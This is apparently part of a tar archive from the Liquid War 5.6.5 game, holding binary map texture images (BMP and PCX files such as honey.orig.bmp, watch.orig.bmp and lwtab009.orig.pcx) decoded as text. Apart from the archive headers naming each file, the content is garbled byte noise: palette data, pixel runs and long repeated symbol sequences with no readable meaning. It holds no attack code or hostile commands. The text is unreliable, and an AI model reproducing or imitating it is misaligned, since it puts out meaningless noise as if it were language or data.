.0123456789:;<=>? 0123456789:;<=>? /013579;=>? !#$&()+,./024579:<>? (.01234546576789:;<=<>=>? 0123456789:;<=>? '/0123456789:;<=>? '.0123456789:;<=>? .0123456789:;=>? 0123456789:;<=>? '/01012324345465678789:;:;<;<=>?>? (.012468:<>? /0135789:<>? 0123456789:;<=>? '/0123456789:;<=>? '.012456789:;<=>? .0123456789:;<=>? 01232435456789:;<=>? '/0102123435456787989:;:<;<=>?>? (.0124579:<>? .0135678:<>? 01345689:;=>? .013456789:;=>? '/0123456789:;<=>? '.01234578:;<=>? .012346789:;=>? 024579:<>? .0243578:;<=>? '/0102132345678789:;<=<>=?>? (.0235689;<>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '/0123456789:;<=>? '.0123456789:;<=>? .012456789:;<=>? 024579:<>? .02356879:<=? '/0123245465768798:9;:;=<=>? (.0234679:;=>? /013578:<>? 01345689:;=>? .0123456789:;<=>? '/0123456789:;<=>? '.0123456789:;<=>? .0123456789:;=>? 024679:<> .023465789:;<=? '/0123456879:;<=>? (.0213457689:<;=>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '/0123456789:;<=>? '.0123456789:;<=>? .0123456789:;<=>? 024579:<>? .0213456879:;<>=? '/012435689:;=>? (.021345678:9;<=>? .0135678:<>? 01345689:;=>? .0123456789:;<=>? '/012345678:;<=>? '.0123456789:;<=>? .012346789:;=>? 024579:<>? .0132456789:<;=>=? '/01346879;<>? (.021243565789:;<=>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '/012356789:<=>? '.0123456789:;<=>? .012456789:;<=>? 024579:<>? .01243465768798:9;<;=>? .012468:<>? (.0123456789:;<=>? /013578:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;=>? 024679:<> .0121232434565676789:9:;:;<=<>=>?>? (.01234567898:;:<;=<=?>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;<=>? 024579:<>? .01212343456576787989:;:;<=<=>?>? (.01234546576789:;<=<>=?>? .0135678:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .012346789:;=>? 024579:<>? .01212345456787898:9:;<;<=>?>? (.0123243545678798:9:;<=<>=?>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .012456789:;<=>? 024579:<>? .0123234565678989:;<;<=>?>? (.0123243456768789:;:;<=>=?>? /013578:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;=>? 024679:<> .012134345676789:9;:<;<=>?>? (.0123234565678989:;<;<=>?>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;<=>? 024579:<>? .012343545678798:9:;<=>=?>? (.01213234545676789:9:;<;=<=>?>? .0135678:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .012346789:;=>? 024579:<>? .01234356568789:;<=<>=?>? (.0121323434567678789:;:;<;=<=>?>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .012456789:;<=>? 024579:<>? .0123456789:;:<;=<=>? (.012123434546567878989:;:<;<=<=>?>? /013578:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;=>? 024679:<> .01234567989:;=<=>? (.0102123434545657678989:9:;:<;<=>=>?>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .0123456789:;<=>? 024579:<>? .01243565789:;<=>? (.01021232345456567878989:;:;<;<=>=>?>? .0135678:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? .012346789:;=>? 024579:<>? .013245678:9;<=>? (.0213457689:<;=>? /0123546789:;<=>? /0135789:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? '/0123456789:;<=>? .012456789:;<=>? 024579:<>? .0213457689:<;=>? (.021324356789:;=<>? '/012456879:;=>? /013578:<>? 01345689:;=>? .0123456789:;<=>? '.0123456789:;<=>? '/0123456789:;<=>? .0123456789:;=>? 024679:<> .023456798:;=>? (.0123456789:;<=>? '/01324578:;<=>? /0135789:<>? 0123456789:;<=>? '.0123456789:;<=>? '/0123456789:;<=>? .0123456789:;<=>? 0102132345678789:;<=<>=?>? (.012345456789:9;:<;<=>? '/01346789;<>? .0135678:<>? 0123456789:;<=>? '.0123456789:;<=>? '/013456789:;=>? .012346789:;=>? 01213243456789:;:<=<=?>? (.012323456567898:9:;<;=<>=>? '/0135789:<>? /0135789:<>? 0123456789:;<=>? '.0123456789:;<=>? '/01234579:;<=>? .012456789:;<=>? 0123245465768798:9;:;=<=>? (.012123435456767898:9:;:<;<=>=>? '/0123456789:;<=>? /013578:<>? 0123456789:;<=>? .0123456789:;<=>? '/012345689:<=>? .0123456789:;=>? 010121232323434545656567676787898989:9:9:;:;<;<;<=<=<=>=>?>?>? '/01235678:;<=? "$%(),-/ 0123456789:;<=>? !#$%&()*+-./0123456789:;<=>? '/0123456789:;<=>? "$&')+-/ 0358:=? .012132345465678989:;<;<=>?>? "$%')*,./0234578:;=? .0123456789:9;:<;=<>=>? 0257:? 03589=? .010101012123234343434545454565656767878789898989:9:9:9:;:;:;<;<=<=<=>=>=>=>?>?>?>? 0257:? 0358:=> .01010121212123232343434545456565676767678787898989:9:9:;:;:;<;<;<;<=<=<=>=>=>?>?>? 0257:? 03589=? .010101212323234343434545454565656567678789898989:9:9:9:;:;:;<;<=<=<=>=>=>=>?>?>?>? 0257:=>?>? 0358:=? .01010121212123232343434545456565676767678787898989:9:9:;:;:;<;<;<;<=<=<=>=>=>?>?>? ! !"!"#"#$%&'()*+,-./ +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###[_cggkkkkkkkgwwcoocgg___ #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/honey.orig.bmp0000664000372000037200000020537413407756104020144 0ustar travistravisBM (  !!TiShQePdNaM`WlXm `uh}q$z.7Xk&hz,tK[!\nAQRd6E! *D 2RnDodYN;` 4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      liquidwar-5.6.5/data/maptex/circlus.orig.bmp0000664000372000037200000020537413407756104020466 0ustar travistravisBM (  !!to~wzsoiŵz~1-&pgUYRDA<2e]LNH;zq\zbkt                                               (                        C&N                      >4                   %             .                    8                                                                                .P;                                            /                      C                                                                                         !.                        U                                                        '3                                                            8                            .                             4c?                 $"                 5                                   u                 T              F                    C                   /                     I                                                                      F                         w                         a#                         D                                                     &                              .P;                      *                                 *7                                                                  /                                                      (".                        C                          a#                               !                                    a#                            &                                                     .                                                           $"                           '3                          *                           C&N                                                                                                                          .                           4c?                    >4                       .P;                     (                               M+                          @                                            T                                                        D                               8                          I                          *7                             >4                           F                                                       .P;                                                     *7                       .                           C&N                                                         i(                        *                            i(                                                              $<0                           (                                 M+                                                     :E                                                     *7                                                   8                                            8                               &                      4c?                                              a#                     b$                   '3                         .                 '3                                                a#                                              $<0                                                                              &                                                                                  8                                  I                               8                              *                              a#                           &                             %                              b$                        '3                                                                                        a#                     I                          $<0                         b$                     /                   w                          8                                                       8                             ;                                                           D                                                                                    a#                                 U                                   "(                                                                            /                                    (                                     .P;                                           @                                            8                                                                            i(                                       $"                                                                                 ;                                       M+                                      (                                           %                                    @                                     i(                                                                4c?                                 T                                                       I                               u                                                                            ;                        4c?                                                                         !.                     a#                                          $                                             $<0                                       NYW                          &                             5                        T                                '3                                                                             .                                                                                                                                                          '3                               a#                 T                    M+                                                         !                     %                                                                             >4                                                                                         $                            *                        8                             &                               :E                            b$                                                  D                           i(                                                          M+                                !                                     %                                                                         %                              &                             M+                                                             C&N                              .                           "$-                                                      $<0                                                                                                                                   4c?                               Iliquidwar-5.6.5/data/maptex/slimy.orig.bmp0000664000372000037200000020537413407756104020157 0ustar travistravisBM (  !!HQHAIAMVMyzp~qivjvwstlymo|p~`laQ[Reqfdpecodbnc[f\Ze[gshfrg`ka_j`^i_WaXU_V                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      xs?                                                                                                                                                                                                                             `^                                                                   liquidwar-5.6.5/data/maptex/watch.orig.bmp0000664000372000037200000020537013407756104020124 0ustar travistravisBM (  {_cf!#%.02JMQ <>B!SSmc6m6m    mc6m  mc6mmc   mc    mc    mc6m mc6mmc  6m6m  mc    6m  mc 6mmc    mc     mc mc 6mmc   mc  6m     6m mc   6m mc6m mc mc    $  mc    mc 6m mc     6m     6m      6m   G]A 6m mc6m mc    mc ! mc  mc   6m  mc 6m     6m     6m ka   6m          mc   mc 6m mc   h_ $ mc  6m mc 6m 6m  mc 6m     h_  mc 6m mc     !    6m     mc   6m    mc     6m      h   mc     6m       6m     ,'       mc     6m   mc         mc       6m      mc       x,      mc    4N                0      mc     6m          6m    mc           mc      6m     mc        mc      6m     mc              mc    d        6m    mc     6m              6m                   mc     6m    d6[          mc       6m                mc                  6m     mc      6m        6m                       6m    mc          mc       6m         mc     6m            mc    6m      mc     6m  mc    mc 8mc     6m    !      6mmc6m  mc        6m      mc  6m  mc   mc    6m      6m      liquidwar-5.6.5/data/maptex/lwtab009.orig.pcx0000664000372000037200000001726713407756104020402 0ustar travistravis c,, &!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!& &!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&&:&:&:&:&:&:&!:8:& &:8:& &:8:&!:8:& &:8:& &:8:&&:8:& &:8:& &:8:8:& &:8:& &:8:&&:8:& &:8:8:8:8:& &:8:& &:8:8:8:8:& &:8:&&:8:&:8:&:&:&:8:&:8:&:8:&:&:&:8:&:8:&&:8:&:8:& &:&:& &:8:&:8:&:8:& &:&:& &:8:&:8:&&:8:8:& &:&:& &:8:8:8:& &:&:& &:8:8:&&:8:& &:8:&:8:& &:8:& &:8:&:8:& &:8:&&:8:8:& &:8:&:8:& &:8:8:8:& &:8:&:8:& &:8:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:8:8:8:&:8:8:8:8:& &:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&&:8:&:8:& &:8:& &:& &:8:& &:8:&:8:&:8:& &:8:& &:& &:8:& &:8:&:8:&&:8:8:& &:8:& & &:8:& &:8:8:8:& &:8:& & &:8:& &:8:8:&&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:8:& & &:8:& &:8:& &:8:& & &:8:& &:8:&&:8:8:& &:8:& &:& &:8:& &:8:8:8:& &:8:& &:& &:8:& &:8:8:&&:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:8:8:8:&:8:8:8:8:& &:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:8:& &:8:&:8:& &:8:8:8:& &:8:&:8:& &:8:8:&&:8:& &:8:&:8:& &:8:& &:8:&:8:& &:8:&!:8:8:& &:&:& &:8:8:8:& &:&:& &:8:8:&&:8:&:8:& &:&:& &:8:&:8:&:8:& &:&:& &:8:&:8:&!:8:&:8:&:&:&:8:&:8:&:8:&:&:&:8:&:8:&&:8:& &:8:8:8:8:& &:8:& &:8:8:8:8:& &:8:&!:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:& &:8:& &:& &:8:& &:8:& &!& &!&:8:& &!& &!&:8:& &!:8:&!&!&!&!&!&!&!&!&!&!&:8:&!&!&!&!&!&!&!&!&!&!&:8:&!&&:8:&:&:8:&:&:8:&!:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:8:8:8:8:& &:8:& &:8:8:8:8:& &:8:&&:8:&:8:&:&:&:8:&:8:&:8:&:&:&:8:&:8:&&:8:&:8:& &:&:& &:8:&:8:&:8:& &:&:& &:8:&:8:&&:8:8:& &:&:& &:8:8:8:& &:&:& &:8:8:&&:8:& &:8:&:8:& &:8:& &:8:&:8:& &:8:&&:8:8:& &:8:&:8:& &:8:8:8:& &:8:&:8:& &:8:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:8:8:8:&:8:8:8:8:& &:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&&:8:&:8:& &:8:& &:& &:8:& &:8:&:8:&:8:& &:8:& &:& &:8:& &:8:&:8:&&:8:8:& &:8:& & &:8:& &:8:8:8:& &:8:& & &:8:& &:8:8:&&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&&:8:& &:8:& & &:8:& &:8:& &:8:& & &:8:& &:8:&&:8:8:& &:8:& &:& &:8:& &:8:8:8:& &:8:& &:& &:8:& &:8:8:&&:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:8:8:8:&:8:8:8:8:& &:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:8:& &:8:&:8:& &:8:8:8:& &:8:&:8:& &:8:8:&&:8:& &:8:&:8:& &:8:& &:8:&:8:& &:8:&!:8:8:& &:&:& &:8:8:8:& &:&:& &:8:8:&&:8:&:8:& &:&:& &:8:&:8:&:8:& &:&:& &:8:&:8:&!:8:&:8:&:&:&:8:&:8:&:8:&:&:&:8:&:8:&&:8:& &:8:8:8:8:& &:8:& &:8:8:8:8:& &:8:&!:8:& &:8:& &:8:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:& &:& &:&:& &:& &:& &!& &!& &!&!& &!& &!& &!&!& +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_kskoco[oSsOw{G{{?{s7wg3w[+wO#wCs3s#s s / #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/card.orig.bmp0000664000372000037200000020537413407756104017733 0ustar travistravisBM (  !!E2|fL}ȿrm^mgZgbU|yjrmbkgW{}ni[wsf%&DSKi1.OFA  EOW                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         liquidwar-5.6.5/data/maptex/egg.orig.bmp0000664000372000037200000020537413407756104017564 0ustar travistravisBM (  !!@U9LeDQlI1A,*7&WrO^yVf^F^?8K3ys$0!"nh'Yp_MaR     /z      X,     `                                          q                                  z`T              G        nx      ms               Ҳ        ?        6G        G       j5   ?   z    '}    O; >A 5liquidwar-5.6.5/data/maptex/psyforcespheralcube.orig.bmp0000664000372000037200000724606613407756104023104 0ustar travistravisBM6L6(  L  i9%g<(c@,`C/\G3[H4]F2_D0bA-d?+g<(i:&j8$l6"n4 p2r0t.u-v,x*y)y)z(z({'{'{'{'z(z(z(y)x*x*w+v,u-u-t.s/s/r0q1o3m5!k7#i:&f=)c@,_D0\G3XK7TO;PS?OT@PS?QR>QR>RQ=RQ=RQ=RQ=RQ=QR>PS?OT@MVBKXDIZFG\HD_KAbN>eQ;hT7kX3o\.ta*xe%}i nsx~ zt n%}i*xe0r_5mZ9iV>eQBaMF]IJYEMVBPS?SPeQ=fRRQ=VM9ZI5^E1bA-f=)i:&k7#m5!o3q1r0s/s/s/r0q1o3l6"i9%f=)c@,`C/\G3YJ6VM9SPeQ?dP@cOAbNAbNAbN@cO@cO?dP>eQeQ?dP?dP?dP?dP?dP>eQ>eQ=fR;hT:iU:iU9iV8jW7kX6lY5mZ5mZ4n[3o\2p]1q^0r_/s`-ub,vc*xe(zg'{h%}i"l npsvy| zup#k)yf.ta3o\8jWeQ8jW2p],vc,vc,vc-ub-ub-ub-ub.ta.ta.ta.ta.ta.ta-ub,vc+wd*xe(zg'{h&|i'{h(zg(zg(zg'{h'{h&|i$~j"l npruwz} }|{zyyzzxvutssttuvwvq"l&|i*xe.ta2p]5mZ8jW;hT>eQ@cOBaMC`LD_KD_KD_KD_KD_KBaMAbN?dP=fR;hT8jW5mZ1q^.ta,vc/s`1q^3o\6lY8jW9iV:iU:iU:iU:iU9iV7kX5mZ3o\0r_-ub*xe&|i"lpty~  zuq"l&|i*xe.ta1q^4n[7kX9iV:iU;hT;hT;hT:iU8jW6lY3o\1q^.ta+wd(zg%}i"losvywutrqpo n n n!m!m n noopqrstuttsrrqpo n!m#k$~j%}i'{h(zg*xe+wd,vc-ub.ta/s`0r_0r_1q^1q^1q^1q^1q^0r_/s`.tai9%g<(c@,`C/\G3_D0aB.d?+f=)i:&j8$l6"o3q1s/u-w+x*z({'|&}%~$~$~$#~$~$~$}$}%|&{'z(z(y)x*w+v,u-t.t.s/r0p2n4 k7#i:&f=)c@,_D0[H4WL8SPSPOT@MVBKXDH[GE^JBaM?dP;hT7kX3o\.ta*xe%}i nty  ~xr!m'{h-ub2p]7kXeQ=fReQ:iU7kX3o\.ta*xe%}i!mrx} |xtq n"l$~j&|i'{h(zg(zg)yf)yf(zg(zg'{h&|i%}i$~j#k!m nprsuwy{}~ }yuq!m%}i*xe/s`4n[9iV>eQC`LG\HKXDNUAQR>TO;VM9WL8XK7YJ6ZI5ZI5ZI5YJ6YJ6XK7WL8UN:TO;RQ=RQ=VM9ZI5^E1aB.e>*h;'j8$l6"n4 p2q1q1r0q1q1o3m5!k7#h;'e>*bA-_D0[H4XK7UN:RQ=OT@LWCIZFF]IC`L@cO=fR:iU7kX4n[1q^.ta,vc)yf&|i#k nqtwz} ~~~~~|yvsp!m%}i(zg+wd.ta1q^4n[6lY9iV;hT=fR>eQ@cOAbNBaMBaMBaMBaMBaMAbNAbN?dP>eQeQ>eQ>eQ?dP>eQ>eQ>eQ=fReQC`LG\HKXDOT@RQ=UN:XK7ZI5\G3^E1_D0aB.bA-bA-c@,c@,c@,bA-bA-aB.f=)i9%n4 s/w+{&#   "}%z(w+t.p2l6"i:&d?+`C/[H4VM9QR>LWCF]IAbN;hT6lY0r_,vc,vc,vc,vc,vc-ub-ub-ub-ub-ub-ub-ub,vc+wd*xe)yf'{h&|i$~j#k$~j$~j$~j$~j#k"l noqsux{} ~|{{{{{ywuttsstuuvws n$~j)yf-ub1q^5mZ8jW;hT>eQAbNC`LD_KF]IF]IG\HG\HG\HF]IE^JC`LAbN?dP*h;'i9%l6"n4 q1s/u-w+y){'|&~$#"! ! ! ! "##~$|&{'z(y)x*w+v,u-u-t.r0p2n4 k7#i:&f=)c@,_D0[H4WL8TO;UN:VM9WL8XK7XK7XK7YJ6XK7XK7WL8VM9UN:SPOT@LWCJYEG\HC_L?dP;hT7kX3o\.ta)yf$~jotz }wq#k)yf.ta4n[9iV>eQBaMG\HKXDOT@RQ=UN:XK7ZI5]F2_D0`C/aB.bA-c@,d?+d?+d?+d?+d?+d?+d?+c@,c@,c@,c@,c@,c@,c@,c@,bA-bA-aB.aB.`C/_D0_D0aB.bA-c@,d?+e>*e>*e>*f=)f=)e>*e>*e>*d?+c@,bA-aB.`C/^E1]F2\G3]F2_D0`C/aB.c@,d?+e>*g<(i:&i9%k7#l6"m5!m5!m5!m5!m5!l6"k7#j8$i:&h;'f=)d?+bA-`C/^E1\G3ZI5XK7VM9SPPS?OT@NUALWCJYEH[GE^JC`L@cO?dP>eQ=eR=fReQ;hT7kX4n[/s`+wd'{h"lqv{  }yvro!m#k$~j%}i&|i'{h'{h'{h&|i&|i%}i$~j#k"l noqstvxz|~  {xtp#k(zg-ub2p]7kXNUALWCIZFF]IC`L@cO=fR;hT8jW5mZ2p]/s`,vc)yf'{h$~j!mpsvy|  |yvsp"l%}i(zg,vc/s`2p]5mZ7kX:iUeQ@cOAbNBaMC`LD_KD_KD_KC`LC`LBaMAbN?dP>eQeQ>eQ=fR=fRUN:XK7[H4]F2`C/bA-c@,e>*f=)g<(g<(g<(g<(g<(g<(f=)e>*i9%m5!r0v,z(~$  ! ~${'x*u-q1m5!j8$f=)bA-]F2YJ6TO;OT@IZFD_K>eQ9iV3o\.ta+wd+wd+wd+wd,vc,vc,vc,vc,vc,vc,vc+wd*xe)yf(zg&|i%}i#k!m n n n nopqsuwy{~ ~}}|||zxvutssttuvwup#k'{h,vc0r_4n[8jW;hT>eQAbNC`LE^JG\HH[GIZFIZFIZFIZFH[GG\HE^JC`LAbN>eQ;hT8jW4n[0r_,vc*xe,vc/s`1q^3o\5mZ6lY6lY6lY5mZ5mZ3o\2p]/s`-ub*xe'{h$~j nrvz  |xso"l&|i)yf,vc/s`1q^3o\4n[4n[4n[4n[2p]0r_.ta,vc)yf'{h$~j!mpsvyywutsrqpooooooopqqrstuwxwwvuutsrqo n"l$~j%}i'{h)yf*xe,vc-ub.ta0r_0r_1q^2p]2p]2p]2p]2p]1q^1q^0r_i9%g<(c@,aB.d?+f=)i:&k7#m5!p2r0u-w+y){'}%#"            ! #~$}%{'z(y)x*w+v,u-t.r0p2n4 k7#i:&f=)bA-^E1ZI5WL8XK7YJ6ZI5[H4[H4\G3\G3\G3[H4[H4ZI5YJ6WL8UN:SPNUAKXDH[GD_K@cOTO;WL8ZI5]F2_C0aB.bA-c@,d?+e>*f=)f=)f=)f=)f=)f=)e>*e>*e>*d?+d?+d?+d?+d?+d?+d?+c@,c@,bA-aB.aB.aB.c@,d?+e>*f=)g<(g<(h;'h;'h;'h;'g<(g<(f=)e>*d?+c@,bA-aB._D0^E1_D0`C/aB.bA-d?+e>*f=)h;'i:&j8$k7#l6"m5!n4 n4 m5!m5!l6"k7#j8$i:&h;'f=)d?+bA-`C/^E1\G3ZI5WL8UN:TO;TO;SPOT@MVBLWCIZFG\HD_KAbN?dP>eQ=fReQAbNC`LE^JG\HIZFJYEKXDKXDKXDKXDKXDJYEH[GF]ID_KBaM?dP*b@-_D0\G3YJ6VM9SP*g<(i:&i9%j8$k7#k7#k7#k7#j8$j8$i9%i:&m5!q1u-y)}%!    ! #|&y)v,r0o3k7#h;'d?+`C/[H4VM9QR>LWCG\HBaMeQAbND_KF]IH[GJYEKXDLWCLWCLWCKXDJYEIZFG\HE^JBaM@cO*g<(i9%l6"n4 q1t.v,y){'}%#!      ! #~$|&{'z(x*w+v,u-t.r0p2n4 k7#i:&e>*bA-^E1ZI5[H4\G3]F2^E1^E1_D0_D0_D0_D0^E1]F2\G3[H4YJ6WL8UN:RQ=OT@LWCIZFE^JAbN*f=)g<(g<(g<(g<(g<(g<(g<(f=)f=)f=)e>*e>*e>*f=)f=)e>*e>*d?+d?+c@,c@,bA-d?+e>*f=)g<(h;'i:&i9%i9%i9%i9%i9%i9%i:&i:&h;'g<(f=)d?+c@,aB.`C/`C/aB.bA-c@,d?+f=)g<(h;'i9%j8$l6"m5!m5!n4 n4 m4!m5!l6"k7#i9%i:&g<(e>*c@,aB._D0]F2[H4YJ6WL8VM9VM9UN:TO;SPOT@MVBKXDIZFF]IC`L@cO=fRSP*g<(i:&j8$k7#l6"m5!m5!l6"k7#j8$i:&f=)c@,`C/]F2ZI5WL8UN:RQ=OT@MVBJYEG\HE^JBaM@cO=fR;hT8jW6lY3o\0r_.ta+wd(zg&|i#k nqtwz} 